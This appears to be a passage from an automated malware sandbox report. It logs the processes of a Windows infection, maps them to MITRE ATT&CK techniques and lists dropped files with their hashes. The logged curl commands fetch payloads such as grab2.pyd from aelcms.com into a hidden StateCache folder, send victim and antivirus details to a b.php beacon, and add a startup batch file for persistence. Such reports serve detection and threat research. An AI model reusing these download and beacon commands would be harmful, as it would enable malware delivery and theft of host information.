  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.pyd" "https://aelcms.com/inv/a2.pyd"
      4⤵
      PID:4784
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.pyd" "https://aelcms.com/inv/a2.pyd"
      4⤵
      PID:1108
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.dat" "https://aelcms.com/inv/a3.dat"
      4⤵
      PID:1080
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.dat" "https://aelcms.com/inv/a3.dat"
      4⤵
      PID:1324
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.dat" "https://aelcms.com/inv/a3.dat"
      4⤵
      PID:5380
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.pyd" "https://aelcms.com/inv/a3.pyd"
      4⤵
      PID:6036
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.pyd" "https://aelcms.com/inv/a3.pyd"
      4⤵
      PID:3772
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.pyd" "https://aelcms.com/inv/a3.pyd"
      4⤵
      PID:960
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.dat" "https://aelcms.com/inv/a3.dat"
      4⤵
      PID:1208
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.dat" "https://aelcms.com/inv/a3.dat"
      4⤵
      PID:2728
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.pyd" "https://aelcms.com/inv/a3.pyd"
      4⤵
      PID:3972
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a3.pyd" "https://aelcms.com/inv/a3.pyd"
      4⤵
      PID:1392
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=stg&h=tk30xce43ac325&c=Admin&a=Defender/None&p=py_start"
      4⤵
      PID:5760
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Temp\pc1.zip" "https://aelcms.com/inv/pc1.zip"
      4⤵
      PID:1320
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Temp\pc1.zip" "https://aelcms.com/inv/pc1.zip"
      4⤵
      PID:5352
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Temp\pc1.zip" "https://aelcms.com/inv/pc1.zip"
      4⤵
      PID:5052
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Temp\pc1.zip" "https://aelcms.com/inv/pc1.zip"
      4⤵
      PID:4280
  - - C:\Windows\system32\PING.EXE
      ping -n 4 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4664
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\o6j.dat" "https://aelcms.com/inv/o6j.dat"
      4⤵
      PID:4616
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\o6j.dat" "https://aelcms.com/inv/o6j.dat"
      4⤵
      PID:4088
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\o6j.pyd" "https://aelcms.com/inv/o6j.pyd"
      4⤵
      PID:2720
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\o6j.pyd" "https://aelcms.com/inv/o6j.pyd"
      4⤵
      PID:4200
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\grab2.pyd" "https://aelcms.com/inv/grab2.pyd"
      4⤵
      PID:3184
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\grab2.pyd" "https://aelcms.com/inv/grab2.pyd"
      4⤵
      PID:5236
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=post&h=tk30xce43ac325&c=Admin&a=Defender/None&p=launched"
      4⤵
      PID:4748
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=general&h=tk30xce43ac325&c=Admin&a=Defender/None"
      4⤵
      PID:2756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 b07a596e4304935f3f4ab1d7354930029126f161dc1927f97f67d93a16a2bdc8
MD5 0a3454cbc202de3493db7fe6132c30b4
SHA1 1516355358128b8b53d7c25fc167e854e0076bcb
SHA512 2cfd3bac06b814928aa16db93a06815bef6c80ed13050d7233c589becc65c3033644d1864b5d0a477b5536b558badb31c61120f63a0e9826b5015189fde84017
SSDEEP 384:yeEdThatELJ8SWvDTuGmQgZsLglKhubvGZsLRZh+vS4:v+eUZsLQCZsL3hUS4
TLSH
T1B853CADB26348040CA07A8BBADB5731BB662D0BFC1C6F1E87E858A1780F453D9775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
TLSH
T178F21D566E241E3CCA9EC336340836C34D78023DACF3B762A58A719747AD181E37D6E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
TLSH
T1C94379DF2A348110CA0768BABD71771BB655D0BFC1C2F0A87AD68A1780B463CE775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a937de63c506e65f03a9e6ba61183e5c6d09ac18d89fbc8854a505d5169e8a2b
MD5 10a685783695e32605cb8096a3974005
SHA1 1c52ad2ef23d5a87fba9d80a867a82d581328ede
SHA512 9ecce670c1e120847d11c99ffe0aceee7428451e3f4b470b521efc526a8023dacd951d7cbac3935619fdb6622cc4bde917c08c4a8aa84f0407317c1df639603a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 16b0e16b1ac55da1bca1de51aa0075c1847f10be5a5d59fe27003589cd8139f7
MD5 65b552794cd9facec162fc53af501559
SHA1 2a0aaa3f50204377dd7dd1fdb3c63d7969ec363b
SHA512 ddaf218436525c8ad7f3043944069d915efe1bb7ae17e78bf6e414430c1b91be7bb9e4e307a023c1cecf8937e3ded381588100c83da226c03693dca6bd074a2c
TLSH
T199216527B39CD8A1CC85253A209CAC1172B783C7409ECF8F6AC0C224A17FA94CB61150
MD5 SHA1 SHA512 TLSH

Submit Download

rb.pdf

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rb.pdf
Size 3KB
SHA256 fc51e8f7e3990bb21f16158970be6e211c21c5d9b29fad194154c60452e57cd0
MD5 9dcdb8398e2cc9981413f8f9403f7fba
SHA1 a104fea425e7f8eb717b6dd81e74c5bf95366df1
SHA512 c7fdb19171bbfca08873c84cc26218d9c75f130bc6f8f6fe8b0d4ee9fd1549ad5e609395caf2a6091be1bce725ced370806a46d60c4ae819a9a2974fb09b0c72
TLSH
T1D351D729AA38180CDD82CD84976ABDEA11BF7132A7C474D4416D8FC0BC5E72DEE12597
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mdetarcw.quz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdetarcw.quz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wupd.bat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\wupd.bat
Size 1KB
SHA256 51768657f84ede249c396555fd6b11b72274961d075a6f78f9a06f029eeb0391
MD5 fef4bf7dd7549e6655ed1bc37eb12dd1
SHA1 81069b94b781c74d5b812c575d00d294598f99a8
SHA512 04cf69e51b9565e0d0a1fdd2e2fa996fe541c33e08785814c37e930d880dbe1e7a1f77230a76158f0f9e949545fca57cd325acbaf29f43821fa92af2cc511a4e
TLSH
T10B11028710ADC82BCC39662340BB5244FA25B21B3F00FBD2A2405058F98339DE1DF1CD
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2864-29-0x000001D56E7E0000-0x000001D56E804000-memory.dmp

Download

memory/2864-28-0x000001D56E7E0000-0x000001D56E80A000-memory.dmp

Download

memory/3388-147-0x000000000BDD0000-0x000000000C4C2000-memory.dmp

Download

memory/4700-1-0x00000204F3CE0000-0x00000204F3CF0000-memory.dmp

Download

memory/4700-2-0x00000204F3CB0000-0x00000204F3CD2000-memory.dmp

Download

memory/4700-0-0x00000204F3CE0000-0x00000204F3CF0000-memory.dmp

Download